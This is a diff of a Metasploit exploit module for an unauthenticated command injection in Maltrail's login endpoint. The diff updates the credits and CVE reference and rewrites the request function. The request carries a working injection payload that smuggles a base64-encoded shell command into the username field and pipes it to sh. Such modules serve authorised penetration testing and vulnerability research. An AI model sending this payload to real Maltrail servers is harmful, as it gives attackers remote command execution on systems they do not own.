@@ -18,8 +18,8 @@ def initialize(info = {})
18
18
'Description' => %q{
19
19
Maltrail is a malicious traffic detection system, utilizing publicly
20
20
available blacklists containing malicious and/or generally suspicious trails.
21
- The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
22
- The `subprocess.check_output` function in `mailtrail/core/http .py` contains
21
+ The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
22
+ The `subprocess.check_output` function in `mailtrail/core/httpd .py` contains
23
23
a command injection vulnerability in the `params.get("username")` parameter.
24
24
An attacker can exploit this vulnerability by injecting arbitrary OS commands
25
25
into the username parameter. The injected commands will be executed with the
@@ -31,14 +31,16 @@ def initialize(info = {})
31
31
'License' => MSF_LICENSE ,
32
32
'Author' => [
33
33
'Ege BALCI <egebalci[at]pm.me>' , # msf module
34
- 'Chris Wild' , # original PoC, analysis
34
+ 'Valentin Lobstein' , # Add CVE reference + rewrite
35
+ 'Chris Wild' , # original PoC, analysis
35
36
] ,
36
37
'References' => [
37
38
[ 'EDB' , '51676' ] ,
39
+ [ 'CVE' , '2025-34073' ] ,
38
40
[ 'URL' , 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/' ] ,
39
41
[ 'URL' , 'https://github.com/stamparm/maltrail/issues/19146' ]
40
42
] ,
41
- 'Platform' => [ ' unix' , ' linux' ] ,
43
+ 'Platform' => %w[ unix linux ] ,
42
44
'Privileged' => false ,
43
45
'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
44
46
'Targets' => [
@@ -101,13 +103,14 @@ def check
101
103
end
102
104
103
105
def execute_command ( cmd , _opts = { } )
104
- send_request_raw ( # This needs to be a raw requess cuz we don't wanna URL encode the body
106
+ send_request_cgi (
105
107
'uri' => normalize_uri ( target_uri . path , 'login' ) ,
106
108
'method' => 'POST' ,
109
+ 'uri_encode_mode' => 'none' ,
107
110
'headers' => {
108
111
'ctype' => 'application/x-www-form-urlencoded'
109
112
} ,
110
- 'data' => "username=;`echo+\" #{ Rex ::Text . encode_base64 ( cmd ) } \" +|+base64+-d+|+sh;#`" # We also need all the +
113
+ 'data' => "username=;`echo+\" #{ Rex ::Text . encode_base64 ( cmd ) } \" +|+base64+-d+|+sh;#`"
111
114
)
112
115
end
113
116
0 commit comments